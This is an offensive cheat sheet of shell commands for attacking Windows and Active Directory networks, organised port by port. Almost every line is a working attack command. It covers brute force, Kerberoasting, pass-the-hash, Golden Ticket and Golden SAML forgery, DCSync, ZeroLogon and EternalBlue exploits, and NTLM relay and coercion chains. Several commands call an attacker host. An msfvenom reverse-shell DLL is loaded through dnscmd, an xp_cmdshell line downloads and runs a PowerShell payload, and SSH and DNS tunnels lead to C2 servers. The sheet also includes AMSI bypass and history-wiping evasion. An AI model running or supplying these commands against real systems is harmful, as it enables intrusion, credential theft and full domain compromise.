# Send WoL Magic Packet
wakeonlan <MAC_ADDRESS>
# Example:
wakeonlan AA:BB:CC:DD:EE:FF

# Check anonymous access
ftp <target_IP>
# username: anonymous, password: anything@email.com

# Capture FTP traffic (including credentials!)
sudo tcpdump -i eth0 port 21 or port 20 -A

# Download all files from anonymous FTP
wget -r --no-passive ftp://anonymous:anon@<target_IP>/

# Banner grab (reveals FTP version)
nc -nv <target_IP> 21

# Brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://<target_IP>
medusa -h <target_IP> -u admin -P wordlist.txt -M ftp

# Anonymous login check
nmap -sV --script ftp-anon <target_IP>
nmap --script ftp-brute <target_IP>

# Nmap FTP scripts
nmap --script ftp-vuln* <target_IP>

# Banner grab / version detection
nc -nv <target_IP> 22
nmap -sV -p22 <target_IP>

# Brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<target_IP>

# Check supported algorithms (find weak ones)
nmap --script ssh2-enum-algos <target_IP>

# SSH Local Port Forward (pivot through SSH host)
ssh -L 8080:INTERNAL_TARGET:80 user@SSH_HOST -N

# SSH Dynamic (SOCKS) proxy via compromised host
ssh -D 1080 user@<target_IP> -N
# Then: proxychains nmap INTERNAL_SUBNET

# SSH Remote Port Forward (reverse tunnel - C2 style)
ssh -R 4444:localhost:4444 attacker@C2_SERVER -N

# Persistence: Add public key
echo "ssh-rsa AAAA...attacker_key" >> /home/user/.ssh/authorized_keys

# Connect
telnet <target_IP> 23

# Brute force
hydra -l admin -P wordlist.txt telnet://<target_IP>

# Capture credentials
sudo tcpdump -i eth0 port 23 -A -w telnet_cap.pcap

# Banner grab
nc -nv <target_IP> 25

# Enumerate users via VRFY
smtp-user-enum -M VRFY -U users.txt -t <target_IP>
smtp-user-enum -M RCPT -U users.txt -D corp.local -t <target_IP>

# Check for Open Relay
nmap --script smtp-open-relay <target_IP>

# Manual test
nc -nv <target_IP> 25
EHLO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<externaluser@gmail.com>   # If 250 OK → Open Relay!

# Nmap SMTP scripts
nmap --script smtp-enum-users,smtp-commands,smtp-vuln* <target_IP>

# Query WINS server
nmblookup -U <WINS_SERVER_IP> -R HOSTNAME

# Zone Transfer
dig axfr @<DC_IP> corp.local
host -l corp.local <DC_IP>
dnsrecon -d corp.local -t axfr

# Enumerate AD SRV records (find DCs)
dig SRV _ldap._tcp.dc._msdcs.corp.local @<DC_IP>
dig SRV _kerberos._tcp.corp.local @<DC_IP>
dig SRV _gc._tcp.corp.local @<DC_IP>

# Subdomain brute force
dnsrecon -d corp.local -t brt -D /usr/share/dnsrecon/namelist.txt
gobuster dns -d corp.local -w /usr/share/wordlists/subdomains-top1million-5000.txt

# Find all hosts via reverse PTR
dnsrecon -d corp.local -t rvl -r 10.10.10.0/24

# DNSAdmins DLL Injection (after GetMembership to confirm group)
# Step 1: Create malicious DLL (reverse shell)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f dll -o malicious.dll
# Step 2: Host on SMB share (or UNC path)
impacket-smbserver share /tmp/malicious/ -smb2support
# Step 3: Load via dnscmd
dnscmd <DC_HOSTNAME> /config /serverlevelplugindll \\ATTACKER_IP\share\malicious.dll
# Step 4: Restart DNS service (needs ServiceControl rights or social engineering)
sc \\<DC> stop DNS
sc \\<DC> start DNS
# → SYSTEM shell on DC!

# ADIDNS Wildcard (for NTLM capture) - using PowerMad
Invoke-DNSUpdate -DNSName "*" -DNSData <ATTACKER_IP> -DNSType A
# All unresolved DNS names now point to attacker → Responder captures hashes!

# DNS Tunneling C2
# dnscat2 server:
ruby dnscat2.rb --dns "domain=dns.corp.local,host=0.0.0.0"
# dnscat2 client (on victim):
.\dnscat2.exe dns.corp.local

# Cobalt Strike DNS Beacon
# CS Listener: DNS → _msdcs.corp.local → runs C2 over TXT queries

# DHCP Starvation (exhaust IP pool)
yersinia -G  # GUI tool
dhcpstarv -i eth0  # flood with fake DHCP requests

# Rogue DHCP (after starvation) using metasploit
use auxiliary/server/dhcp
set SRVHOST 0.0.0.0
set DNSSERVER ATTACKER_IP
set ROUTER ATTACKER_IP
run

# Monitor DHCP traffic
sudo tcpdump -i eth0 port 67 or port 68 -n

# Download file via TFTP (no auth!)
tftp <target_IP>
get config.txt

# Scan for TFTP
nmap -sU -p69 --script tftp-enum <target_IP>

# Web enumeration
gobuster dir -u http://<target_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
feroxbuster -u http://<target_IP> --depth 2

# IIS tilde enumeration (short filename disclosure)
IIS-ShortName-Scanner.py http://<target_IP>

# WebDAV check
davtest -url http://<target_IP>/webdav/
cadaver http://<target_IP>/webdav/

# Nikto (basic vuln scan)
nikto -h http://<target_IP>

# SQLi
sqlmap -u "http://<target_IP>/page.asp?id=1" --dbs --batch

# User enumeration (kerbrute)
kerbrute userenum --dc <DC_IP> -d corp.local /usr/share/wordlists/userlist.txt

# Password spray (low-and-slow, avoids lockouts)
kerbrute passwordspray --dc <DC_IP> -d corp.local users.txt 'Winter2024!'

# AS-REP Roasting (no pre-auth accounts)
impacket-GetNPUsers corp.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt -dc-ip <DC_IP>
impacket-GetNPUsers corp.local/user:pass -dc-ip <DC_IP> -format hashcat  # Authenticated

# Crack AS-REP hash
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# Kerberoasting (find + request TGS hashes)
impacket-GetUserSPNs corp.local/user:pass -dc-ip <DC_IP> -request -outputfile kerb.txt
# OR with Pass-the-Hash:
impacket-GetUserSPNs corp.local/user -dc-ip <DC_IP> -hashes :<NTLM> -request

# Crack Kerberoast hashes
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt  # RC4 (fast!)
hashcat -m 19600 kerb.txt /usr/share/wordlists/rockyou.txt  # AES-128
hashcat -m 19700 kerb.txt /usr/share/wordlists/rockyou.txt  # AES-256

# Overpass-the-Hash (NTLM → TGT)
impacket-getTGT corp.local/user -hashes :<NTLM>
export KRB5CCNAME=user.ccache
impacket-psexec corp.local/user@TARGET -k -no-pass

# Pass-the-Ticket (inject .kirbi)
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
impacket-smbexec corp.local/user@TARGET -k -no-pass

# Golden Ticket
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-... -domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec corp.local/Administrator@TARGET -k -no-pass

# Silver Ticket
impacket-ticketer -nthash <SERVICE_ACCOUNT_HASH> -domain-sid S-1-5-21-... -domain corp.local -spn cifs/TARGET.corp.local Administrator

nmap -sV -p102 <target_IP>

# Manual test
nc -nv <target_IP> 110
USER john
PASS password
LIST
RETR 1  # Read first email

# Brute force
hydra -l user@corp.local -P wordlist.txt pop3://<target_IP>

nc -nv <target_IP> 119
nmap --script nntp-ntlm-info <target_IP>

# Enumerate NTP server details
ntpq -c readvar <target_IP>
ntpdate -q <target_IP>

# Check for monlist (DDoS amplification)
nmap --script ntp-monlist <target_IP>

# Force time sync to specific server (for testing)
ntpdate -u <target_IP>

# Enumerate all RPC endpoints
impacket-rpcdump <target_IP>
impacket-rpcdump corp.local/user:pass@<target_IP>

# Look for Print Spooler (coercion target)
impacket-rpcdump <target_IP> | grep -i "spoolsv\|spooler\|print"

# Look for EFS (PetitPotam target)
impacket-rpcdump <target_IP> | grep -i "efsr\|lsarpc\|netlogon"

# WMI Lateral Movement (uses 135 for init)
impacket-wmiexec corp.local/user:pass@<target_IP>
impacket-wmiexec corp.local/user@<target_IP> -hashes :<NTLM>

# DCSync (negotiates via 135, executes on high port)
impacket-secretsdump corp.local/domainadmin:pass@<DC_IP>

# Coerce DC authentication (PrinterBug)
python3 printerbug.py corp.local/user:pass@<DC_IP> <ATTACKER_IP>

# Coerce DC authentication (PetitPotam - no creds needed!)
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>

# Capture NTLMv2 hashes via Responder (KING of attacks)
sudo responder -I eth0 -v
# Wait for any DNS failure → captures hashes automatically!
# Output: /usr/share/responder/logs/

# Crack captured NTLMv2
hashcat -m 5600 /usr/share/responder/logs/NTLMv2*.txt /usr/share/wordlists/rockyou.txt

# Relay captured hash (SMB Signing disabled)
sudo responder -I eth0 -v --disable-ess -w --lm
# In another terminal:
ntlmrelayx.py -tf relay.txt -smb2support

# Enumerate via nbtscan
nbtscan -r 10.10.10.0/24

# NetBIOS null session enum
nmblookup -A <target_IP>

# Capture NetBIOS datagram traffic
sudo tcpdump -i eth0 port 138 -n

# Null session enumeration
enum4linux -a <target_IP>
enum4linux-ng -A <target_IP>

# Check shares
smbclient -L \\\\<target_IP>\\ -N  # -N = no password

# Connect via SMB (139)
smbclient \\\\<target_IP>\\SHARE -U user -p pass --port=139

# Manual connect
nc -nv <target_IP> 143
A1 LOGIN user password
A2 LIST "" "*"
A3 SELECT INBOX
A4 FETCH 1 BODY[]   # Read first email

# Brute force
hydra -l user@corp.local -P wordlist.txt imap://<target_IP>

# Enumerate using default community string
snmpwalk -v2c -c public <target_IP>
snmpwalk -v2c -c public <target_IP> 1.3.6.1.4.1.77.1.2.25  # Windows users MIB
snmpwalk -v2c -c public <target_IP> 1.3.6.1.2.1.25.4.2.1.2  # Running processes

# Community string brute force
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt <target_IP>
hydra -P /usr/share/wordlists/rockyou.txt <target_IP> snmp

# Full SNMP enumeration (all info)
snmp-check <target_IP> -c public

# Nmap SNMP scripts
nmap -sU -p161 --script snmp-brute,snmp-info,snmp-interfaces,snmp-netstat,snmp-processes,snmp-win32-users <target_IP>

# Listen for SNMP traps
snmptrapd -Lo -f

# Anonymous bind check + rootDSE enum (always works!)
ldapsearch -x -H ldap://<DC_IP> -b "" -s base
ldapsearch -x -H ldap://<DC_IP> -b "dc=corp,dc=local"

# Authenticated full dump
ldapdomaindump -u corp\\user -p pass <DC_IP> -o /tmp/ldap_dump/

# BloodHound collection (comprehensive)
bloodhound-python -u user -p pass -ns <DC_IP> -d corp.local -c All --zip

# Manual user enum
ldapsearch -x -H ldap://<DC_IP> -D "CN=user,CN=Users,DC=corp,DC=local" -w pass \
    -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName userPrincipalName memberOf

# SPN enumeration (Kerberoastable accounts)
ldapsearch -x -H ldap://<DC_IP> -D "corp\\user" -w pass \
    -b "DC=corp,DC=local" "(servicePrincipalName=*)" sAMAccountName servicePrincipalName

# Password spray via LDAP
for user in $(cat users.txt); do
    ldapsearch -x -H ldap://<DC_IP> -D "corp\\$user" -w 'Password123!' \
        -b "DC=corp,DC=local" "(sAMAccountName=$user)" dn 2>&1 | grep -v "Invalid"
done

# NTLM Relay to LDAP → RBCD attack
sudo ntlmrelayx.py -t ldap://<DC_IP> --delegate-access --no-smb-server
sudo python3 PetitPotam.py <ATTACKER_IP> <VICTIM_HOST_IP>

# NTLM Relay to LDAP → Shadow Credentials
sudo ntlmrelayx.py -t ldap://<DC_IP> --shadow-credentials --shadow-target "TARGET$"

# SSL certificate analysis
openssl s_client -connect <target_IP>:443 2>/dev/null | openssl x509 -noout -text
sslscan <target_IP>:443

# Enumerate HTTPS
gobuster dir -u https://<target_IP> -w wordlist.txt -k  # -k = ignore cert errors
nikto -h https://<target_IP> -ssl

# Exchange ProxyShell check
python3 proxyshell.py -u https://<exchange_IP>

# Test RPC over HTTPS
curl -k https://<exchange_IP>/rpc/

# Host discovery via SMB
crackmapexec smb 10.10.10.0/24

# Check SMB Signing (critical for Relay)
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay.txt  # list hosts with signing OFF

# Enumerate shares + permissions
crackmapexec smb <target_IP> -u user -p pass --shares
smbmap -H <target_IP> -u user -p pass
smbclient -L \\\\<target_IP>\\ -U user

# Browse SYSVOL (find GPP cpassword, scripts)
crackmapexec smb <DC_IP> -u user -p pass --spider SYSVOL
smbclient \\\\<DC_IP>\\SYSVOL -U user
# cd corp.local\Policies\ → look for Groups.xml (contains cpassword!)
grep -r "cpassword" /tmp/sysvol/ 2>/dev/null
gpp-decrypt CPASSWORD_VALUE  # Decrypt GPP password (key is public!)

# Pass-the-Hash
crackmapexec smb <target_IP> -u user -H <NTLM_HASH>
impacket-smbexec corp.local/user@<target_IP> -hashes :<NTLM>

# PsExec-style lateral movement
impacket-psexec corp.local/user:pass@<target_IP>
impacket-smbexec corp.local/user:pass@<target_IP>   # Stealthier (no service binary)
impacket-atexec corp.local/user:pass@<target_IP> "whoami"

# SMB Relay (Responder + ntlmrelayx)
sudo responder -I eth0 --lm -v
sudo ntlmrelayx.py -tf relay.txt -smb2support -i  # -i = interactive SMB shell
# OR exec command on all relay targets:
sudo ntlmrelayx.py -tf relay.txt -smb2support -c "whoami"

# EternalBlue (MS17-010)
nmap --script smb-vuln-ms17-010 <target_IP>
python3 eternal_blue.py <target_IP>

# Exploit via Metasploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_IP>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

# Change password via impacket (uses port 464)
impacket-smbpasswd -newhashes :<NEW_NTLM> corp.local/user:oldpass@<DC_IP>

# kpasswd via Kerberos
kpasswd user@corp.local

# Identify VPN / IKE configuration
ike-scan <target_IP>
ike-scan --aggressive -P ike_psk.txt <target_IP>  # Dump PSK hash (aggressive mode!)
hashcat -m 5300 ike_psk.txt wordlist.txt  # Crack IKE hash

krb5-rlogin -P <target_IP>

# mitm6 — DHCPv6 poisoning + DNS spoofing
sudo mitm6 -d corp.local

# Combined with ntlmrelayx (full attack chain):
# Terminal 1:
sudo mitm6 -d corp.local
# Terminal 2:
sudo ntlmrelayx.py -6 -t ldaps://<DC_IP> --delegate-access --no-smb-server
# → Any machine that reboots or has a network event sends NTLM to you!
# → Relay to LDAPS → create machine account → full RBCD → DA!

nmap -sV -p593 <target_IP>
impacket-rpcdump <target_IP> -port 593

# Enum via LDAPS
ldapdomaindump -u corp\\user -p pass <DC_IP> --no-json --no-grep -o /tmp/ldap/

# BloodHound over LDAPS
bloodhound-python -u user -p pass -ns <DC_IP> -d corp.local -c All --use-ldaps

# Shadow Credentials relay via LDAPS
sudo ntlmrelayx.py -t ldaps://<DC_IP> --shadow-credentials --shadow-target "DC01$"
# After getting TGT → secretsdump via DC01$ account!

# List modules (shares)
rsync rsync://<target_IP>/

# Download entire share
rsync -av rsync://<target_IP>/module /tmp/loot/

# Check for writable modules
rsync -av /tmp/test rsync://<target_IP>/module/

hydra -l user@corp.local -P wordlist.txt imaps://<target_IP>

# Discovery
nmap -sV -p1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-ntlm-info <target_IP>
crackmapexec mssql 10.10.10.0/24

# Connect + attack (impacket-mssqlclient)
impacket-mssqlclient corp.local/user:pass@<target_IP>
impacket-mssqlclient corp.local/user@<target_IP> -hashes :<NTLM>

# Enable + use xp_cmdshell
SQL> EXECUTE sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> xp_cmdshell 'whoami'
SQL> xp_cmdshell 'powershell -c IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER/shell.ps1")'

# Coerce NTLM Authentication (capture SQL service hash!)
SQL> EXEC master..xp_dirtree '\\<ATTACKER_IP>\share\', 1, 1;
SQL> EXEC master..xp_fileexist '\\<ATTACKER_IP>\share\test';
# → Responder captures the hash!

# SQL Server Links (pivot to linked server)
SQL> SELECT * FROM sys.servers;  # List linked servers
SQL> EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]  # Execute on linked!

# Token impersonation
SQL> SELECT distinct b.name FROM sys.server_permissions a
     INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
     WHERE a.permission_name = 'IMPERSONATE'
SQL> EXECUTE AS LOGIN = 'sa'
SQL> SELECT SYSTEM_USER  # Now sa!

# SeImpersonatePrivilege → SYSTEM
SQL> xp_cmdshell 'whoami /priv'
# If SeImpersonatePrivilege: upload PrintSpoofer/JuicyPotato → SYSTEM!
SQL> xp_cmdshell 'C:\Temp\PrintSpoofer.exe -i -c cmd'

# Enumerate SQL instances
nmap -sU -p1434 --script ms-sql-info <target_IP>

# Identify PPTP VPN
nmap -sV -p1723 <target_IP>

# Capture + crack MS-CHAPv2
thc-pptp-bruter -u user <target_IP>
asleap -r pptp.pcap -W wordlist.txt  # Crack MS-CHAPv2 from captured traffic

# Check MSMQ presence
nmap -sV -p1801 <target_IP>

# QueueJumper PoC (CVE-2023-21554)
python3 queuejumper.py <target_IP>  # Unauthenticated RCE!

# Query Global Catalog (port 3268) for all users across forest
ldapsearch -x -H ldap://<DC_IP>:3268 -D "corp\\user" -w pass \
    -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName

# Find all SPNs across entire forest (for Kerberoasting)
ldapsearch -x -H ldap://<DC_IP>:3268 -D "corp\\user" -w pass \
    -b "DC=corp,DC=local" "(servicePrincipalName=*)" sAMAccountName servicePrincipalName

# BloodHound auto-queries GC port during collection
bloodhound-python -u user -p pass -ns <DC_IP> -d corp.local -c All

# Discovery
nmap -sV -p3389 --script rdp-enum-encryption,rdp-vuln-ms12-020 <target_IP>
crackmapexec rdp 10.10.10.0/24

# Brute force
hydra -l administrator -P wordlist.txt rdp://<target_IP>
crowbar -b rdp -s <target_IP>/32

# Pass-the-Hash via RDP (Restricted Admin Mode must be enabled on target)
xfreerdp /v:<target_IP> /u:Administrator /pth:<NTLM_HASH> /cert-ignore

# Enable Restricted Admin Mode remotely (if you already have admin)
crackmapexec smb <target_IP> -u admin -p pass -M rdp -o ACTION=enable

# RDP Session Hijacking (run from SYSTEM on compromised host)
query user                            # List all sessions + Session IDs
tscon <VICTIM_SESSION_ID> /dest:<YOUR_SESSION_NAME>
# → You are now in the DA's session with no password needed!

# Hijack via PsExec → SYSTEM → tscon
psexec -s cmd.exe                     # Elevate to SYSTEM first
query user
tscon 2 /dest:rdp-tcp#1              # Steal session ID 2

# BlueKeep (CVE-2019-0708) check
nmap --script rdp-vuln-ms12-020 <target_IP>
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce  # MSF

# Screenshot without logging in (RDP NLA bypass on old hosts)
rdesktop -u '' <target_IP>  # See login screen, may reveal last username

# Clipboard monitoring (after connecting via RDP)
# Built-in via rdp-clipboard channel — data auto-syncs across session

ike-scan -M --sport=4500 <target_IP>

# Enumerate DFS namespace
impacket-rpcdump <DC_IP> | grep -i "DFSR\|dfsnm\|dfs"

# DFS Coercion (trigger DC auth to attacker)
python3 dfscoerce.py -d corp.local -u user -p pass <ATTACKER_IP> <DC_IP>

# Enumerate DFS shares
net view \\corp.local /all

# Check WinRM is open + accessible
crackmapexec winrm 10.10.10.0/24

# Connect with credentials
evil-winrm -i <target_IP> -u user -p 'P@ssw0rd'

# Pass-the-Hash
evil-winrm -i <target_IP> -u Administrator -H <NTLM_HASH>

# Pass-the-Ticket (Kerberos)
export KRB5CCNAME=/tmp/ticket.ccache
evil-winrm -i <target_IP> -u user -r corp.local  # Kerberos auth

# Execute commands via CrackMapExec
crackmapexec winrm <target_IP> -u user -p pass -x "whoami /all"
crackmapexec winrm <target_IP> -u user -H <HASH> -X "Get-Process"  # PS command

# Evil-WinRM advanced features:
# Upload file to target
*Evil-WinRM* PS> upload /local/SharpHound.exe C:\Temp\SharpHound.exe

# Download file from target
*Evil-WinRM* PS> download C:\Users\Admin\ntds.dit /tmp/ntds.dit

# Load PowerShell script in memory (no disk touch!)
*Evil-WinRM* PS> Bypass-4MSI             # Bypass AMSI!
*Evil-WinRM* PS> IEX(Get-Content /local/PowerView.ps1 -Raw)

# Execute .NET assembly in memory
*Evil-WinRM* PS> Invoke-Binary /local/Seatbelt.exe -group=all

# Disable PowerShell history (OPSEC)
*Evil-WinRM* PS> Set-PSReadLineOption -HistorySaveStyle SaveNothing

# Connect via HTTPS WinRM
evil-winrm -i <target_IP> -u user -p pass -S -c /path/cert.pem -k /path/key.pem

# CrackMapExec HTTPS WinRM
crackmapexec winrm <target_IP> -u user -p pass --port 5986 --ssl

# Enumerate Hyper-V hosts
nmap -sV -p6600 10.10.10.0/24

# If Hyper-V admin access: extract VM disk
# (From compromised Hyper-V host)
Get-VM | Export-VM -Path C:\Temp\VM_Export\
# → Then extract NTDS.dit from exported VM disk!

# Native PowerShell cmdlets (routes through 9389)
Get-ADUser -Filter * -Properties *
Get-ADDomainController -Filter *
Get-ADComputer -Filter * -Properties *
Get-ADGroup -Filter * | Get-ADGroupMember

# Run remotely (specify DC explicitly)
Get-ADUser -Filter * -Server <DC_IP> -Properties *

# Via SharpView (C# wrapper — no RSAT needed, execute in memory!)
.\SharpView.exe Get-ADUser
.\SharpView.exe Get-DomainComputer
.\SharpView.exe Get-DomainGroupMember -Identity "Domain Admins"

nmap -sV -p42424 <target_IP>

evil-winrm -i <target_IP> -u user -p pass -P 47001
crackmapexec winrm <target_IP> -u user -p pass --port 47001

# Enumerate ADFS
nmap -sV -p49443 <target_IP>
curl -k https://<ADFS_IP>:49443/adfs/ls/IdpInitiatedSignOn.aspx  # SSO page
curl -k https://<ADFS_IP>/federationmetadata/2007-06/federationmetadata.xml  # Metadata leak!

# Password spraying against ADFS
# Tool: ADFSSpray
python3 adfsSpray.py -u users.txt -p 'Password123!' -d corp.local -a <ADFS_URL>

# Golden SAML attack (requires ADFS DKM key)
# Step 1: Dump ADFS token signing cert (requires DA or ADFS server access)
# From compromised ADFS server:
Export-PfxCertificate -Cert (Get-ChildItem Cert:\LocalMachine\My\ | where {$_.Subject -like "*ADFS*"}) -FilePath C:\Temp\adfs.pfx -Password (ConvertTo-SecureString "P@ss" -AsPlainText -Force)

# Step 2: Generate Golden SAML token
python3 shimit.py -idp https://adfs.corp.local/adfs/services/trust \
    -cert adfs.pfx -u "Administrator" -role "admin" \
    -f microsoft365 -t saml

# Step 3: Use forged token to auth to O365/Azure as any user!

# ==========================================
# DCSYNC (DRSUAPI over ephemeral port)
# ==========================================

# Dump ALL domain hashes (requires DA or DCSync rights)
impacket-secretsdump corp.local/domainadmin:pass@<DC_IP>
impacket-secretsdump corp.local/user@<DC_IP> -hashes :<NTLM>

# Targeted dump (single user)
impacket-secretsdump corp.local/domainadmin:pass@<DC_IP> -just-dc-user krbtgt
impacket-secretsdump corp.local/domainadmin:pass@<DC_IP> -just-dc-user Administrator

# From Windows (Mimikatz / via C2):
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /all /csv

# ==========================================
# WMI LATERAL MOVEMENT (DCOM)
# ==========================================

impacket-wmiexec corp.local/user:pass@<target_IP>
impacket-wmiexec corp.local/user@<target_IP> -hashes :<NTLM>
impacket-wmiexec corp.local/user@<target_IP> -k -no-pass  # Kerberos

# CrackMapExec WMI
crackmapexec smb <target_IP> -u user -p pass -x "whoami" --exec-method wmiexec

# ==========================================
# TASK SCHEDULER (AtExec)
# ==========================================

impacket-atexec corp.local/user:pass@<target_IP> "whoami"
impacket-atexec corp.local/user@<target_IP> -hashes :<NTLM> "C:\Temp\beacon.exe"

# ==========================================
# ZEROLOGON (CVE-2020-1472 - Netlogon)
# ==========================================

# Check vulnerability
python3 zerologon_check.py <DC_HOSTNAME> <DC_IP>

# Exploit (resets DC machine account password to empty!)
python3 cve-2020-1472-exploit.py <DC_HOSTNAME> <DC_IP>

# Dump hashes after exploit (empty password)
impacket-secretsdump corp.local/<DC_HOSTNAME>$@<DC_IP> -no-pass

# Restore DC machine password (CRITICAL - do this after dumping!)
python3 restorepassword.py corp.local/<DC_HOSTNAME>@<DC_IP> -target-ip <DC_IP> \
    -hexpass <ORIGINAL_HEX_PASS>

# ==========================================
# COERCION ATTACKS (force DC to auth to attacker)
# ==========================================

# PrinterBug (MS-RPRN) - requires valid domain credentials
python3 printerbug.py corp.local/user:pass@<DC_IP> <ATTACKER_IP>

# PetitPotam (MS-EFSR) - sometimes works unauthenticated!
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>
python3 PetitPotam.py -u user -p pass -d corp.local <ATTACKER_IP> <DC_IP>  # Auth version

# DFSCoerce (MS-DFSNM)
python3 dfscoerce.py -d corp.local -u user -p pass <ATTACKER_IP> <DC_IP>

# ShadowCoerce (MS-FSRVP)
python3 shadowcoerce.py -d corp.local -u user -p pass <ATTACKER_IP> <DC_IP>

# CheeseOunce (MS-EVEN6)
python3 cheeseOunce.py -d corp.local -u user -p pass <ATTACKER_IP> <DC_IP>

# Coercion → NTLM Relay chain to ADCS (ESC8 - HTTPRelay)
# Step 1: Start responder (DONT use SMB/HTTP — ntlmrelayx will handle)
sudo responder -I eth0 --lm -v --disable-ess
# Step 2: Start relay to ADCS HTTP endpoint
sudo ntlmrelayx.py -t http://<CA_SERVER>/certsrv/certfnsh.asp --adcs --template DomainController
# Step 3: Coerce the DC
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>
# → Get base64 certificate for DC → Convert to TGT → DCSync!
impacket-gettgtpkinit corp.local/DC01$ -cert-pfx dc01.pfx dc01.ccache
export KRB5CCNAME=dc01.ccache
impacket-secretsdump corp.local/DC01$@<DC_IP> -k -no-pass

# ==========================================
# SERVICE CONTROL (PsExec mechanism)
# ==========================================

impacket-psexec corp.local/user:pass@<target_IP>  # Creates service!
impacket-psexec corp.local/user@<target_IP> -hashes :<NTLM>

# Stealth alternative (no service creation):
impacket-smbexec corp.local/user:pass@<target_IP>  # Uses sc manager differently
impacket-wmiexec corp.local/user:pass@<target_IP>  # WMI - no service at all

# ==========================================
# RECONNAISSANCE & ENUMERATION
# ==========================================

# Full port scan (discover all Windows services)
nmap -sS -sV -sC -p- --min-rate 5000 -oA full_scan <target_IP>
nmap -sU --top-ports 100 <target_IP>  # UDP top ports (SNMP, DNS, NTP, DHCP)

# SMB enum (fastest AD recon)
crackmapexec smb 10.10.10.0/24       # Live host discovery + OS detection
enum4linux-ng -A <DC_IP>             # Full SMB/AD enum

# LDAP dump (full AD object dump)
ldapdomaindump -u corp\\user -p pass <DC_IP> -o /tmp/ldap/

# BloodHound (full attack path mapping)
bloodhound-python -u user -p pass -ns <DC_IP> -d corp.local -c All --zip

# ==========================================
# CREDENTIAL ATTACKS (by port)
# ==========================================

# Port 21   → FTP brute force
hydra -l admin -P wordlist.txt ftp://<target_IP>

# Port 22   → SSH brute force
hydra -l root -P wordlist.txt ssh://<target_IP>

# Port 25   → SMTP user enum
smtp-user-enum -M RCPT -U users.txt -D corp.local -t <target_IP>

# Port 53   → DNSAdmins escalation (after group membership)
dnscmd <DC> /config /serverlevelplugindll \\ATTACKER\share\malicious.dll

# Port 80   → Web app attacks
gobuster dir -u http://<target_IP> -w /usr/share/wordlists/dirb/common.txt

# Port 88   → Kerberoasting (no network noise after TGS request)
impacket-GetUserSPNs corp.local/user:pass -dc-ip <DC_IP> -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt

# Port 88   → AS-REP Roasting
impacket-GetNPUsers corp.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# Port 88   → Password spraying
kerbrute passwordspray --dc <DC_IP> -d corp.local users.txt 'Spring2024!'

# Port 135  → Coerce DC auth (PrinterBug)
python3 printerbug.py corp.local/user:pass@<DC_IP> <ATTACKER_IP>

# Port 137  → Capture NTLMv2 (Responder + LLMNR poisoning)
sudo responder -I eth0 -v
hashcat -m 5600 NTLMv2.txt /usr/share/wordlists/rockyou.txt

# Port 139  → Null session enum
enum4linux -a <target_IP>

# Port 161  → SNMP community string enum + dump
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt <target_IP>
snmpwalk -v2c -c public <target_IP>

# Port 389  → LDAP password spray
crackmapexec ldap <DC_IP> -u users.txt -p 'Password123!' --continue-on-success

# Port 445  → Pass-the-Hash
crackmapexec smb 10.10.10.0/24 -u Administrator -H <NTLM_HASH>
impacket-smbexec corp.local/Administrator@<target_IP> -hashes :<NTLM>

# Port 445  → GPP cPassword from SYSVOL
crackmapexec smb <DC_IP> -u user -p pass --spider SYSVOL
gpp-decrypt <CPASSWORD>

# Port 1433 → MSSQL coerce auth → capture service hash
impacket-mssqlclient corp/user:pass@<target_IP>
SQL> EXEC master..xp_dirtree '\\<ATTACKER_IP>\share\'

# Port 3389 → RDP session hijack (from SYSTEM on compromised host)
query user && tscon <SESSION_ID> /dest:<YOUR_SESSION>

# Port 5985 → Lateral movement (stealthiest)
evil-winrm -i <target_IP> -u user -H <NTLM_HASH>

# Port 9389 → Native AD enum via PowerShell
Get-ADUser -Filter * -Server <DC_IP> -Properties *

# Port 49152+ → DCSync (dump all hashes)
impacket-secretsdump corp.local/domainadmin:pass@<DC_IP>

# Port 49152+ → ZeroLogon (CVE-2020-1472)
python3 cve-2020-1472-exploit.py <DC_HOSTNAME> <DC_IP>

# ==========================================
# LATERAL MOVEMENT (stealthiest to noisiest)
# ==========================================

# ★ Most stealthy:
# 5985 WinRM:  evil-winrm -i TARGET -u user -H HASH
# 135/High WMI: impacket-wmiexec corp/user:pass@TARGET
# 135/High AtExec: impacket-atexec corp/user:pass@TARGET "cmd"

# ★★ Moderate:
# 445 SMBExec: impacket-smbexec corp/user:pass@TARGET  (no binary on disk)
# 3389 RDP:    xfreerdp /v:TARGET /u:user /pth:HASH

# ★★★ Noisy (creates services / drops files):
# 445 PsExec:  impacket-psexec corp/user:pass@TARGET  (drops binary, creates service!)

# ==========================================
# DOMAIN COMPROMISE PATHS (BY PORT CHAIN)
# ==========================================

# PATH 1: LDAP Enum → Kerberoast → Crack → DA
